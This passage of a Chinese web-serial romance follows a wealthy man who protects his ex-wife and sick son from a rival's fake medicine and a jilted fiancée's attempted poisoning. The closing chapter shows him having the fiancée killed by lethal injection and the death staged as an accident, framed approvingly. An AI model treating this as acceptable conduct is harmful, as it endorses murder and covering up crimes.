语速又快又慌:“劳伦夫博士他……他最近失踪了!实验室、家人都联系不上。我动用了所有关系,才从知情人那里得到一点消息……他,他好像……投靠顾南风了!”
话音落下,电话两端都只剩下压抑的沉默。
投靠顾南风了?
背叛?
霍时序眼中噬起**猩红,“废物!”
那药物,是他准备研制出来救儿子。
这怎么突然中途出了这么大的问题。
用自己的命去换儿子的命,是一回事,前提是,药物的成果必须掌握在自己手里!
而不是被顾南风掌控。
负责又紧急补了句,“不过霍总您也别担心,我们已经有了补救措施,新药马上就能出来,而且效果会更好。”
“抓紧。”
“知道了。”
霍时序深呼吸。
想来。
顾南风已经利用他拿到手的不成熟的药物,和宋南伊达成了某种协议。
而他和宋南伊所有商议确定的事情,全部打了水漂。
她可以不跟他生孩子。
她也可以用药来救小核桃的命。
但她不应该被顾南风利用
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。
那个私生子,一肚子心眼,他很怕宋南伊受到伤害。
……
宋南伊带着小核桃,去了一个不算出名的度假山庄。
谁也没有告诉。
包括自己的父母。
药物她拿去检验了,不是**,确实有治疗小核桃病的有效成分。
再三确认过后。
她抱着忐忑的心情,给小核桃服了一粒。
效果要比她想象中的好。
半个月的时间,小核桃的指标已经趋于正常化。
她很庆幸,这个顾南风没有骗她。
午餐时间。
宋南伊带着小核桃在山庄的餐厅用餐。
小家伙话很多,叽里呱啦的说个不停。
很精神。
“爸爸。”小家伙看到了熟悉的人,很兴奋,“妈咪,是爸爸,他来看我们来了。”
宋南伊心脏一紧。
猛地扭头看了过去。
他就站在门口,高大欣长的身材,在人来人往中很是扎眼。
他怎么会找到这儿来的?
“爸爸……”
小核桃放下筷子,跑了过去,直接扑到了霍时序的怀里。
“爸爸,你怎么才来看我呀,我都想你了。”
霍时序单手将他抱起,在他的小脸上亲了一口,“爸爸忙工作,这不是忙完就来了。”
他径直走到了宋南伊面前。
她没抬眸看他,也没有胃口再吃东西。
……
草地上,小核桃在踢皮球。
河水潺潺,是一个养生的好地方。
“那药吃了?”他问。
宋南伊没回避,“吃了,效果还不错。”
“宋南伊,你胆子真的是大,一个陌生人给的药,你都敢吃,小核桃在你手里能活着,算不算是奇迹?”
他盯着她的侧脸,透出无奈。
宋南伊将脸别开,“我找机构验过了,确实是真药,才给小核桃吃的,而且,他的身体经过几次检查,也是越来越好,证明顾南风并没有骗我。”
“单纯。”他轻嗤。
宋南伊不以为然,“反正,我赌对了,比起怀孕,取脐血来说,他算是帮了我大忙。”
“所以呢,作为回报,你答应了他什么?”
他脸色越沉越黑。
怒气和不安慢慢的写满了眼底。
宋南伊不敢看他,但还是回答了他的问题,“他没有提过分的要求,只要求我去爷爷面前说说他的好话,仅此而已。”
男人苦笑。
真的仅此而已就好了。
将手伸手宋南伊,“把药给我。”
第140章 楚河汉界,各睡各的
宋南伊哪里肯。
眼底写着拒绝,“凭什么给你。”
“你就凭你没脑子。”
**宋南伊是真傻还是假傻。
这是药不是旁的,还是一个不认识的人给的,她就敢给儿子吃。
简直是疯了。
“我怎么就没脑子了?霍时序,你是因为我没有带小核桃回去住,才这样不满地大发雷霆吧?你不要把这个世界想的太坏了。”
她瞪着他。
与他对峙。
不满他对她的操控。
他也很想耐下心来,跟她讲道理,但她很明显着了顾南风的道。
说的越多,她的反抗情绪就越重。
“药给我,我去找专业人士检验,如果真的没有问题,你再给小核桃吃。”
她扭脸,根本不理人。
他只好软下声音,“我总比顾南风,信得过吧?”
宋南伊还是不理人。
她很怕霍时序将药拿走后,就不再还给她。
指尖握着药瓶。
越发的紧了一些。
“给我。”他厉声。
她被惊着了,眼眶一红,“你凶什么凶?我凭什么相信你?霍时序,你以为你是谁啊?”
宋南伊是泪失禁体质。
眼泪比硬话,出来的更快。
霍时序看到眼泪,心瞬间软了。
“我没有凶你。”
她扭头不说话,只顾着擦泪。
他递了手帕给她,声音也变成了低哄,“好了好了,我错了,顾南风这个人不可信,你怎么不跟我商量一下呢?”
“你当年一纸离婚协议寄给我的时候,说过一句话了吗?”她抽了抽鼻涕,翻起了旧账,“商量?霍时序,尊重是相互的,在我们婚姻中,你尊重过我几次,前世,前前世,现在,你都做的不合格。”
霍时序承认。
但这世他的出发点,都为了让她不再受到一点伤害。
“我当时那种情况,死活还不知道,离婚……我只是选择成全你。”
宋南伊觉得可笑。
他是选择成全吗?
要真的成全,早就成全了。
会在他面目全非的情况下成全?
就是卖惨。
“你就是想让我欠你的人情,霍时序,你挺卑鄙的。”
霍时序不知道该如何解释。
如果他真的想要她还这份人情,当初他困在病床上三个月一动不能动的时候,就应该给她发个信息,把自己的状况告诉她。
他不渲染自己的爱有多伟大。
他爱她是真的。
“我只想让你活着。”
他望住她泪眼婆娑的眸子,唇角透出难得的真诚。
她拒绝了这样的真诚。
很没良心的说了句,“那火说不定就是你找人放的。”
霍时序苦笑。
是他放的,何至于差一点在这场火灾中殒命。
“那把火属于有预谋的,伺机报复,与当年你爸入狱的事件有关,后来王老五被抓了,判了二十年,这事,你不应该不知道吧?”
这事。
宋知令并没有跟她讲,她也没有问过。
就算霍时序说的真的。
那又怎样。
“说不定,你跟那个王勤是一伙的。”
霍时序不再解释了。
她认为如何就如何。
事情已经过去,没必要翻出来再晒。
“行了,把药给我吧,明天我就可以给你结果。”
宋南伊最终还是选择了相信。
只因霍时序是小核桃的父亲。
……
一天后。
江淮将最精准的药物报告,交给了霍时序看。
“霍总,这药有问题啊。”
“怎么回事?”霍时序看着报告上这些多出来的成分,眉头紧皱。
江淮的面色亦不轻松,“顾南风买通了江城比较知名的检测机构,给太太的报告,都是假的,这药掺了太多的假,只会暂时的让病情好转,一旦停药,病情反弹,随时会要人命的。”
“妈的。”
霍时序啐了句脏话。
顾南风这些年不争不抢。
一出手便是冲着妻儿去。
这让他如何能忍。
“把这药换掉,换上以稳定病情为主的药,挪威那边的新药,应该差不多了,你盯着点,只要新药下线,立马拿来给小核桃用上。”
让顾南风这么一弄。
小核桃的身体已经被掏空。
哪里还等得怀孕抽脐带血,就算是用他的心头血,也未必会有好的结果。
“明白。”
“还有,这事别跟宋南伊讲,免得她自责。”他说。
江淮点头,“知道了。”
……
霍时序还是坚持,将宋南伊和小核桃接回了家。
用的理由很简单,小核桃有爸爸的陪伴,会好的更快一些。
为了儿子,宋南伊忍了。
但楚河汉界分明。
各睡各的。
霍时序回家准时了。
每天都会抽出时间,陪小核桃玩一会儿游戏。
他腿不好,偶尔玩嗨了,也会被小核桃欺负。
宋南伊有时候看着,心里挺不是滋味。
大好的年纪,这腿真的没救了吗?
“霍时序,你的腿,是不是要瘸一辈子?还能不能康复。”
他跟儿子闹着,像是不经意的瞥了她一眼,“如果你愿意报恩照顾我的话,我可以一辈子都瘸着。”
“有病。”
她扭过脸,抬眸望向了院子。
路姐急
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匆匆的过来。
后面跟着的是……常可欣。
霍时序的未婚妻来了。
宋南伊抱起小核桃,“你爸有事情要谈,咱们先回房间。”
霍时序一懵。
转身望过去时,常可欣已经走了进来。
“先生,常老师来了。”
霍时序从爬行垫上起来,整理了一下微微皱的衬衣,“有事吗?”
“时序,我爸病了,很重的病……”常可欣一进门就先哭了起来。
路姐:……这怎么哭丧似的。
多不吉利。
“坐下说。”霍时序冷静,并未受影响。
常可欣抽噎着,擦泪,“时序,我能不能请你帮个忙。”
“什么忙?”
“我们订婚好吗?”常可欣没敢看抬头看霍时序,用极为柔弱的音色说,“我爸他马上就不行了,他放心不下我,我没敢跟他讲,我和你分手了,我们订婚,完成他的心愿,让他安心的走,好吗?”
霍时序没有震惊。
也没有动怒。
更没有立马喝斥她,停下这种匪夷所思的想法。
他淡淡的。
语气平静:“抱歉,我不能。”
“时序,我爸要**,就完成他最后的心愿,也不能吗?你就当做一件好事,求你了。”
霍时序没有动容。
尽管,现在的常可欣确实是有一些可怜。
“抱歉,我不想给人一种,我们马上要结婚的错觉,常老师,这样对你的名声也不好,对我也不公平,好好为叔叔治病吧,如果缺钱,可以跟我讲。”
他和常可欣认识的时间不算长。
谈不上感情。
帮与不帮,都不会让他心不安。
常可欣哭的更凶。
“你是要跟你的前妻复婚了吗?”
“私事,不便奉告。”
常可欣明白了二三,“时序,就算是假的也不行吗?如果宋小姐在意,我可以去求她,她那样的知书达理,那样的善解人意,她一定会帮这个忙的。”
霍时序眉心微皱。
他不喜欢被架在道德的制高点上。
“常老师,如果没有别的事情,就请回吧。”
“时序……”
“路姐,送客。”
常可欣没想到霍时序会这么无情。
她苦苦哀求,为了完成老人的心愿,他也不肯。
豪门多是无情种。
在这一刻具像化。
她失望的摇头,“你怎么可以这么对我,霍时序,我那么喜欢你,你怎么可以……连这么个小忙都不帮,怎么可以……”
霍时序面无表情。
常可欣痛哭流涕,“时序,你别这样,你就答应我好吗?”
路姐在一旁叹了口气。
第141章 求你离开他好吗?
宋南伊在房间里,对二人的对话,听的不是很清楚。
曾经在结婚的两个人。
一定是有很多未解的情缘在里面。
她哄睡了小核桃。
目光依然透着担忧。
霍时序推门进来。
他想看看儿子,更想跟宋南伊有一些独处的时间。
“过几天,有新药会送过来,对小核桃的病有很好的治疗作用,你也别太焦虑,以后少跟顾南风见面。”
他是提醒。
在宋南伊听来是警告。
“我跟谁见面,是我的自由。”
“要自由,不要命?”他似乎在求证她的荒唐。
宋南伊气闷,成心说他不爱听的,“顾南风长的很好啊,面相也不像坏人,他还好心好意的,给我的药治病,你对他有意见,不过是因为他是霍家的私生子,是你心胸狭隘。”
他笑了。
伸手捏了捏她的小脸,“气我,很好玩?”
“别动手动脚的,霍时序,我们没有关系,你管好你自己,少来管我。”
她的小脸,因为他的触碰,氲上了一层淡淡的红。
宋南伊摸着发烫的脸颊。
起身走出了小核桃的房间。
她深呼吸了两口。
走进洗手间,洗了把脸。
他就站在她的身后,右手依然拄着那根金属的拐杖。
他的腿,是她无论如何的忽视,总是忽视不掉的存在。
自从第一次见到他受伤的样子。
至今,她都没有好好问过他的感受。
透过平面镜,她看向了镜中的霍时序,“你的腿走路的时候,会很疼吗?”
“嗯。”他抿唇。
“做了几次手术了?”
霍时序:“五次。”
宋南伊愕然。
不过一年多的时间,已经五次手术,但还是这样残着,当时出事时,伤的有多重,可想可知。
“还得多少次,才能彻底好起来?”
霍时序摇头。
他给不了答案。
或许还需要十次,也或许……
“南伊,如果我的身边没有你,我好起来,和这样坏着,都是一样。”
这话说的像情话。
宋南伊听着有些尴尬。
“你还要照顾你妈妈啊,你还这么年轻,没必要破罐子破摔。”
她在同情他。
希望他能恢复健康。
好让自己的那些负疚感,减轻一些。
但他并不需要她这样。
走近她,从身后抱住了她的腰,声音微微有些沉哑,“南伊,我们可以试着……重新开始吗?就当,我们是第一次认识,我重新追求你一次,给我个机会可以吗?”
宋南伊的心,很复杂。
抛开小核桃的关系,她似乎并不想跟他再扯所谓的感情。
但她回避不了一些,内心无法启齿的情感。
许久,她都没有说话。
他摁着她的肩,将她的身子扳过来,弯下僵硬的腰,“南伊,离婚是爱你,想和你重新开始也是因为爱你,我无法回避,我对你的情感,你是我追求了七年的女孩,我无法承受,我往后的人生中,没有你的参与,我们给小核桃一个完整的家,好不好?”
他眼中是压抑,又随时能爆发的情感。
宋南伊给不了答案。
他捧着她的小脸,慢慢浅浅的吻上她的唇。
很温柔,动情,又压抑。
她推开他。
转身背对着他。
他的身体紧紧的贴在她的后背上,情话依然动听,“我爱你南伊,除了你,我这辈子都不可能再去爱别的女人,我没有爱别人的能力了,接受我好吗?”
他的唇贴在她的耳旁。
向下游弋。
他紧紧的箍着她的腰身,她根本动弹不得。
她甚至,能感受到他身体的变化。
被吓到,猛推开了他,“你,你不是……不行了吗?”
他苦笑,重新将她揽进怀里。
“我是腰不行,不是这儿不行。”
他有欲望。
仅对她而已。
他不想逼她马上答应。
他也认为,他做的还不够。
至少,缺一次真诚的道歉,一次赴汤蹈火般的救赎。
他只想要一个机会。
“南伊,我们从零开始,好不好?”
宋南伊沉默着。
突然间,他们之间变得微妙起来。
许久。
“霍时序,我现在实在没心情想我们之间的事情,等小核桃彻底康复后再说吧。”
没答应。
但对霍时序来说,算是松了口。
他很感激,宋南伊带给他的希望。
“好。”
……
新药漂洋过海的送来。
小核桃被送到了医院。
在多种药物的双重治疗下,小家伙康复的很快。
但还是留了一些后遗症。
比如说,经常半夜咳嗽
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。
南微炖了雪梨百合送来,给小核桃喝。
小家伙很赏脸,每次都喝的干干净净。
“南伊,我回去再给小核桃做一些他爱吃的,我看他胃口好了不少,小脸的脸色啊,也好看了,应该很快就痊愈了。”
南微很高兴。
抱着小核桃亲了亲,“外婆回家再给你煮你爱喝的汤,你的咳嗽啊,慢慢就会好了。”
“谢谢外婆。”
宋南伊送南微离开。
一抬眼,看到了常可欣。
她直勾勾的盯着宋南伊看,像是有什么要说的。
“宋小姐,我们可以找个地方,坐下来聊聊吗?”
常可欣清瘦了不少。
人也没有以前,那般的优雅得体。
宋南伊没答应,“我儿子一个人在病房,我不放心,你有什么想要说的,就直接说吧。”
“我想求你,不要再缠着霍时序了,明明我们都要订下来了,明明我们很快就会结婚的,你现在缠着他,我怎么办?宋小姐,你也是个体面人,没必要在别人的感情里当第三者吧。”
宋南伊蹙眉。
她缠着霍时序?
她不接受第三者这样的字眼,出现在自己的身上。
“常老师,你和霍时序的事情,我并不了解,你这样无端的猜测,中伤,我会告你诽谤的。”
常可欣冷笑。
像是要戳穿宋南伊的虚伪。
“既然离婚了,就各自安好不好吗?你明明知道他有了爱人,为什么还要跟他纠缠,还要以孩子的名义跟他住在一起,宋小姐,做人不可以这样的。”
宋南伊百口莫辩。
她便不再解释,“你有什么不甘的,可以去找霍时序,我帮不了你。”
“你知道吗?我爸得了重病,他想看着我和时序把婚事定下来,可他不肯,难道不是因为你吗?宋南伊,做人不可以这样,我爸要**,我只想满足他临终的遗愿,也不可以吗?”
宋南伊皱眉。
往她脖子上套道德的枷锁?
这跟她又有什么关系?
她又没绑着霍时序,不让他去完成这些事情。
“常老师,我还是那句话,你们的事情,自己解决,我只是个外人,也不要把你们感情中遇到的事情,全部推到我这个不相干的人身上,说句不好听的,你爸的活与死,对我来说,并不重要,他的遗愿更是与我无关,你还是去找霍时序吧。”
第142章 儿子还没好,老婆又病了
宋南伊离开。
常可欣不让。
像是非得要个结果。
扑通给她跪下了。
“宋小姐,请你行行好,求你了。”
大庭广众,人来人往。
常可欣这一跪,路人将指责的视线,全部落到了宋南伊的身上。
“哎哟,这是有多大的仇哟,怎么还下上跪了。”有位阿姨想把常可欣拉起来,“有话好好说,不可以这么极端的。”
“阿姨你别管,我今天就是要求她,她抢了我的未婚夫……”
阿姨听得脸色一变,立马掉头过来,指责宋南伊,“你这个女人怎么回事啊?抢别人的男人,还要让人家下跪,你的心怎么这么恶毒啊?”
旁边几位看热闹的,也纷纷加入,“就是,做小三,还逼着正主下跪,天哪,这都什么世道啊。”
“她抢你男人,你就抢回来啊,下跪有什么用啊,这种人,没有底线的。”
“现在年轻人,年纪轻轻的,不干正事,别人家的男人就这么好?就非得抢,父母都是怎么教的?”
围观的人群越来越多。
大家将宋南伊围起来,指指点点,脊梁骨戳的她站都站不稳。
她想解释。
又觉得没必要解释。
谁又在意她是不是真的抢了男人,只知道她是个坏女人,坏女人就该被唾沫星子淹死。
就该被乱棍打死。
看热闹的,不就是生怕热闹不大吗?
“你们都离我远一点,再靠近,我就报警了。”
她步步后退。
退无可退的被逼到角落里。
这些围观的人,哪里肯放过一个别人嘴里的小三,脏话脏水,泼的不过瘾,还上手拧宋南伊。
“你这个小**,抢别人家的男人,还这么凶,打死你也不多。”
“小三就应该下地狱,小三就应该被浸猪笼,欠收拾,打她。”
宋南伊用手护着头。
想冲出包围。
无奈人太多了,她们根本不在意真相,只想着趁机发泄自己的情绪。
“你们都走开啊……”
“都给我住手。”男人低沉的声音,犹如狮吼一般。
这些个使坏的人,纷纷住手张望。
霍时序扒开人群,大步上前,将宋南伊护在怀里。
怒目瞪向这些人,“你们疯了,怎么能随便**?”
其中有些人看出了端倪。
跳起脚来,指着霍时序的鼻子尖,“你就是那个男人吧?看吧,看吧,这男人多没良心,只知道护小三,你自己的未婚妻都给小三下跪了,你不去看她有没有被欺负,还在这儿护上小**了,你也该打。”
“再胡说八道,挨打的是你们。”霍时序很凶。
骂人的老太婆,有点被吓到。
噤了声。
霍时序护着宋南伊要走。
常可欣走过来,满脸的泪水,扑通给两个人又跪下了,“对不起,是我对不起宋小姐,我求你们原谅我吧。”
这副弱者被欺负的模样。
成功的把围观人的情绪,又再次煽动起来。
纷纷对着霍时序和宋南伊就开始骂。
“真是太搞笑了,你看把人逼到什么份上了,小伙子,人在做,天在看,我劝你善良。”
“就是,这姑娘在这儿跪完小三,再跪你,真的是造孽啊,你良心上过得去吗?”
无稽之谈。
霍时序听的火大。
这常可欣到底说了什么。
让宋南伊经受这样的谩骂。
“你们都给我让开,常可欣,你到底想干什么?我警告你,别惹**我,为了南伊,我可什么事情都能做得出来。”
常可欣泪流满面。
抱着霍时序的大腿,苦苦哀求,“时序,你不要生气,我没有怪你爱宋小姐,我只求你,跟我回家看看我爸,我爸他真的没几天活头了,求你了,好不好?”
“这姑娘真的太可怜了,这男的是铁石心肠吗?天底下怎么会这样的人。”
“姑娘,你别哭了,为了这样的男人不值得,天底下男人多的是,阿姨再给你介绍好的。”
“就是就是,赶紧起来吧,地上多凉啊,你就是跪断腿,我看这两个狗男女也不会可怜你的。”
常可欣哭着摇头。
她将头杵到地面上,一个接一个地磕起头来。
额头撞击着地面,血很快染红了她的前额。
触目惊心。
“时序,对不起……真的对不起……”
霍时序眉心不由的拧紧。
不明白她究竟在演哪一出。
引战?
让宋南伊难堪?
“常可欣,够了。”他的声音冰冷,“你这样做只会给南伊带来困扰,赶紧回家吧。”
他伸手揽过宋南伊,转身欲走。
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围观的群众却不肯让开,不明事理的,还在对着他指责。
霍时序怒了,吼着:“你们想干什么?听清楚,这才是我的妻子。”
他紧搂了一下宋南伊,“这个跪在地上的人,什么也不是。你们根本不清楚内情,只知道跟风指责!”
他目光扫过众人,眸底是不容置喙的冷意:“谁再敢拦,我们就警察局见。”
围观的,也不想惹火烧身。
骂骂咧咧的,也就都散了。
霍时序揽着宋南伊往医院病房走。
常可欣在后面唤他。
“时序……”
“时序……”
声音惨凉,无人理会。
宋南伊受了惊吓和委屈,突然发起了高烧,人病倒了。
儿子还没好,老婆又病了。
霍时序哪里肯咽下这口气。
安顿好宋南伊。
他便找了关系,直接让常可欣停了职,并将她的所作所为,都通知了常家的人。
毫不客气的发出警告,如再有下次,整个常家也会跟着遭殃。
常父听的匪夷所思。
常家都是读书人,最不缺的就是傲骨,这样苦苦哀求一段关系,让常家人颜面扫地。
常父是体面人。
不是非得要傍霍家这棵大树。
但他现在自身难保,常可欣的事情,他有心无力,反而因此急火攻心,加重了病情。
几天后。
常父病逝。
消息通知到霍时序。
他并没有参加葬礼。
……
几天后,医院里。
病房的门被轻轻推开,戴着口罩的护士推着药车走了进来。
车轮摩擦着地面,发出细微的声响。
‘护士’的目光落在女人安静的脸上。
她从口袋中取出一支预先准备好的细小针管,指尖微微一推……
“呵,”一声极轻的冷笑从口罩下溢出,“宋南伊,我还真是给你脸了?那跪那么好下的吗?因为你,我爸被气**……你以为你是谁?你做了这么多坏事?那就让你离开这个世界……”
“你就是**凶手,跟我抢东西,你以为你会有什么好下场?”她的声音压得很沉,扭曲着:“得罪我,你算是踢到钢板了,好好的去下你的黄泉,可不要怪我哦,要怪就怪你自己……不识抬举。”
女人拿着针管的手,慢慢的伸到点滴瓶旁……
第143章 救命啊……
宋南伊隐约感觉,床前站着个人。
她眼皮很重。
缓慢地掀起一条缝,望过去。
手持针管的‘护士’,不知道要往她打的点滴里注射什么。
她困难地动唇,“你……在做什么?”
针管猛地抖动了一下。
从手中脱落,掉到了地面上。
口罩遮面后的眼睛,明显有一些慌乱。
她从地上重新将针管拾起,佯装镇定地说,“消炎的药。”
宋南伊眉心微蹙了一下。
这个声音怎么这么熟悉。
“你不是今天的护士。”
“你是谁?你的声音怎么这么像……常可欣,你是不是常可欣?”
宋南伊挣扎着坐起来。
尽管她戴着口罩,但身形,声音,以及露在外面的眼睛都很像。
她要干什么?
女人没有回答她,而是狞笑着,就要将针管里的药,注射进点滴瓶中。
宋南伊马上意识到了危险,迅速地将手背的针头,扯了下来。
女人一看,计划要失败。
索性就要将针直接打在宋南伊的身上。
宋南伊现在身体虚弱。
自然不是眼前凶手的对手。
只能支着胳膊,死死地挡着她,顺手扯掉了脸上的口罩。
“还真是你常可欣,你好大的胆子,你得不到霍时序,就要把我毁掉?你是不是疯了?”
常可欣瞪着猩红的眼睛。
狠狠咬着牙,“宋南伊,都是因为你,我爸被气**,我的工作也丢了,我下跪的丑事人人都知道了,他们取笑我,议论我……”
常可欣委屈的唇角打颤。
她也是一个美好的女子啊。
她曾经也是那么的善良,却因为在结婚后不能生育,就被婆家抛弃了。
她独自抚养着收养来的女儿。
她只想当一个贤妻良母。
她只想过相夫教子的生活,她不介意霍时序有儿子的,她也完全可以做到视如己初。
可他……偏偏不要她了。
她哪里错了?
到底是哪里错了?
“……我现在什么都没有了,是你害了我宋南伊,如果你不出现,我现已经是霍时序的新娘了,我不求他爱我,我只想要一个家,你知道我多想拥有一个家吗?”
她摇着头,眼眶红得厉害,“不,你不知道,因为你根本就不缺爱,你不知道一个缺爱的女人,一个曾经被抛弃过的女人,心里有多渴望,多渴望一份稳定。”
她深深的呼吸。
废什么话呢。
这世界上,就不存在感同身受这件事情。
宋南伊根本不懂她。
常可欣誓死,要将针扎进宋南伊的胳膊。
宋南伊用尽了全身的力气,与她周旋。
“你冷静一点,你杀了我,你还能活吗?你想想你的女儿,你难道想让她孤苦伶仃的……再回到福利院去吗?”
“这不需要你来操心。”常可欣脸越来越扭曲,“你害**我爸,抢了我的男人,害我丢尽了脸面,无论如何,我也咽不下这口气,咽不下……”
针尖慢慢地在靠近宋南伊的身体。
她不敢乱动,又使不上力气。
对于一个疯魔了的人来说,反抗是徒劳的。
可她不能眼睁睁地让常可欣弄死。
“救命啊,快来人啊……”
“快来人救命啊,有人要杀我……”
“救命,救命……”
门,砰的一下,从外面打开。
一只有力的大手,攥住了常可欣的手腕,紧接着,她的身体就被一股力道甩了出去。
人重重的摔到墙上,再跌到地面上。
发出沉闷的声响。
“没事吧。”霍时序紧张的检查着宋南伊的身体,“她伤到你没?”
宋南伊有气无力的摇了摇头。
霍时序转身将针管交给江淮,“拿去化验,先把这个疯女人带走,等我来处置。”
“好的,霍总。”
这一番的折腾。
宋南伊又烧了起来。
霍时序很心疼。
儿子的病,已经快将她压垮,常可欣又来这一出。
她怎么能不病呢。
是他不好。
打上退烧药后,他将她搂在怀里,轻轻的,柔柔的哄她入睡。
一千句,一万句的道歉,在此时,也无济于事。
他深深的自责。
趁着她睡着的时候。
霍时序让人将她和小核桃转到了同一个病房。
有南微守着。
他放心。
……
最近需要处理的事情太多了。
小核桃生病这事的调查,刚刚开始,常可欣的报复又来了。
还有那个常年躲在暗处的顾南风。
霍时序坐在车里。
捏着发疼的太阳穴,心神难安。
霍时序前脚离开。
陆为谦就拎着礼品,来了医院。
他是来看望小核桃的。
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>没想到,宋南伊也在生病。
“你还好吧?怎么把自己累倒了呢?有处理不了的事情,可以让我们这些朋友帮忙,没必要非要自己撑着。”
陆为谦的眼底,是有一些心疼在的。
宋南伊虚弱地笑了笑。
“一点意外,我还好。”
“上次你让裴吟给我送的珠宝,我收到了,姐姐很喜欢,说是想当面感谢你来着。”
宋南伊轻然一笑,“姐姐客气了。”
陆为谦刚要再说点什么。
病房的门被推开。
旋即就是一道紧张的声音,“南伊,我听说你病了,怎么回事啊?你要不要……”
一抬眼。
看到陆为谦。
裴吟声音戛然。
“陆律师也在呢?”
陆为谦不知为何,稍显尴尬,“我过来是看小核桃的。”
裴吟白眼翻翻。
她看着虚弱的宋南伊,不由的想到了那些在网上流传的视频。
“那个常可欣可真茶,她给你下跪到视频,被传到了网上,搞在那些不知内情的人,天天在网上骂你,气的我,三天都没吃饭了。”
宋南伊笑了。
裴吟就是这样嫉恶如仇的。
“没事的。”
“南伊,如果你需要法律方面的帮助,我可以帮你。”陆为谦主动说。
宋南伊摇头。
这事是因为霍时序引起的,他应该会处理的很好。
其他人,就不必掺和。
免得惹一身的骚。
到底是病了,宋南伊没多少精力,聊了没几句话,她便昏昏沉沉的睡了过去。
裴吟和陆为谦不便过多打扰,一起离开。
站在医院门口。
裴吟看了陆为谦一眼,“听说我们两家的事情了吗?”
“嗯。”他淡淡的。
“其实准确的说,是我们三家,陆家,裴家,和江家。”她高傲地抬起下巴,想听听陆为谦的想法,“你会选择江家,还是我们裴家?”
陆为谦眼眸幽邃的,望向了面前的车水马龙。
裴吟说的那句是对的。
对于婚姻,他没有选择的权利。
他只有交换和被交换。
娶不到自己要娶的。
无论是江家,还是裴家,对他来说,没什么区别。
在给不了幸福的前提下,他愿意听天由命。
他扭过脸来,看向裴吟,“我想你们裴家,应该也不止陆家一个选择,你会选择哪个?”
第144章 霍总,人断气了
既然是联姻。
选择哪个都是基于利益。
感觉,不存在的。
爱情,更不存在。
日久生情,可能会有,但几率不高。
裴吟其实完全可以拒绝联姻这事,但她对自己太了解了。
如果不联姻,她这辈子可能都不会结婚。
但她喜欢孩子。
如果让她去精子库挑,她是不太愿意的。
名正言顺的,找个相对来说,还算优秀的男人,生个孩子,是个不错的选择。
这么多的联姻对象里面,条件最好的莫过于陆为谦。
“你说的没错,裴家也在挑选,南城的孙家,北城的乔家,条件都不错,大家生意上有往来,亲上加亲,是再好不过的事情。”
陆为谦点头。
他猜,裴吟应该已经将他踢出了局。
这样最好。
大家日后见了面,还可以礼貌的打个招呼。
裴吟转过脸来看着陆为谦问,“你对江姝言了解吗?”
“不。”他回答。
“既然对她不了解,你可以考虑一下我。”裴吟自荐。
她这个人比较豁达。
没有陆为谦在感情上那样的,谨小慎微。
“陆为谦,如果你愿意的话,我们可以马上把婚事订下来。”
陆为谦没说话。
只是看向裴吟的眸色,更深了一些。
她在等他的答案。
许久。
他才眨了眨泛酸的眸子,“裴吟,你知道,我是喜欢南伊的,我不愿意伤害她的朋友。”
裴吟心口一凉。
这算是拒绝吗?
联姻这种事情,娶谁不是伤害呢。
她垂眸嗤笑,“陆为谦,你老是考虑这,考虑那儿的可怎么行,说白了,联姻这种事情,就是各取所需,没有利用价值了,就会分开,我们又不会产生感情,就算伤害也是伤害的两家的利益,而不是心。”
陆为谦有点尴尬。
他被裴吟取笑了。
但她说的也不是没有道理。
他想,他会考虑她的建议。
裴吟认为,一个律师,不应该如此的犹豫不决。
这点,她挺瞧不上的。
“那你考虑一下吧。”
说完。
裴吟开车走了。
他站在太阳底下,把她从头到尾说的每一个字,都细细的捋顺了一遍。
他想,他心里已经有了决定。
……
某间暗黑的房间里。
常可欣被紧紧的绑在沉重的木质椅子上。
嘴上因为塞了毛巾,她唔唔的,发不了别的声音。
“江淮,把她嘴上的东西拿掉。”
霍时序立在常可欣的面前。
他身形本就高大。
遮住了她眼前的光,压迫感极强。
拿掉毛巾,常可欣憋的青紫的脸,才算缓和。
她大口大口的喘着气。
“我什么也没有做,你绑**什么?”
霍时序伸手,江淮便把针筒递了过去。
他拿着针筒,走到常可欣的面前,“你告诉我,这是什么?”
蓝色的液体在针筒里荡漾。
她比任何人都知道,这是什么。
“这个……就是吓唬宋南伊的,我是个老师,我不会做伤天害理的事情。”常可欣语无伦次,之前的狡辩和强装镇定荡然无存,“不管这个针筒里面是什么,它并没有伤害到宋南伊不是吗?”
“没有伤害到,就把你害人的动机,全部泯灭了吗?”
霍时序的声音骤然变冷。
他还是第一次听到这样的笑话。
唇角的弧度像要碎骨一般,“既然是吓唬人的,常老师不介意,我也吓唬吓唬你吧?”
常可欣害怕了。
拼命的摇头。
“不要,不要过来……”脸上失去血色。
她比任何人都清楚,这药是能导致心脏**的。
是她托人买的兽药。
用来处理那些有病的动物,以减少它们的痛苦。
霍时序也是没想到,常可欣竟然要把这种药,用在宋南伊的身上。
恶毒。
不可原谅。
“江淮,把这针给常老师用上。”
霍时序将针筒交给了江淮。
看见江淮一步步走近,阴影将她完全笼罩。
常可欣怕的要死。
“我……我不是真的要宋南伊死的……是意外,对,是我一时糊涂的意外。”常可欣涕泪横流,身体因恐惧颤抖不已,“你不能这样对我,你不能就这么杀了我,这是犯法的!”
“法?”霍时序轻蔑地勾起唇,冰冷讥诮,“你跟我说法?你要害南伊的时候,法律在哪?你现在知道怕了,这法就出来了?”
他伸出手,缓慢而又狠重地捏住了她的下巴,迫使她抬起满是泪痕的脸。
“做了错事,就要付出代价,不长长记性,以后怎么会记住?”
霍时序绷紧的唇角,启声,“江淮,你还等什么?
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”
江淮面无表情地走上前一步。
他手里的针筒在昏暗的光线下,反射出凄冷的光。
这道微弱的光,击穿了常可欣所有的心理防线。
瞬间。
歇斯底里的哭声,在空荡的房间里,回荡。
刺耳。
聒噪。
“不……不要……求求你们……霍时序……放过我……我知道错了……我真的知道错了……”
常可欣拼命扭动身体想要后退。
她的身体被椅子困住,枉是徒劳。
霍时序的眼神淬冰。
唇角漫上一抹冰凉的笑,“晚了。”
他松开握着她下巴的手,拿出纸巾细细擦拭手指。
如同审判者,语调透出诡异的戏谑,“常老师,一路走好啊。”
江淮抓住了常可欣被捆绑住的胳膊,将针头扎进了她的上臂。
“啊……!放开我!救命!救命啊……”
凄厉的尖叫,满是绝望。
霍时序就那样冷冷地看着。
看着针筒里的药,慢慢的推进她的身体。
然后,像完成了某种仪式,双手合十。
常可欣的身体,乱抖了两下后,瞳孔也慢慢的散开,变得死气沉沉,无声的抽了两口气后,人直勾勾的没了动静。
“霍总,人断气了。”江淮伸手探了她的鼻息,“怎么处理?”
“制造一场意外,通知常家人,让他们去收尸。”
霍时序心无波澜。
又淡淡的补了句,“各方面打好招呼,我不想听到一些别的声音。”
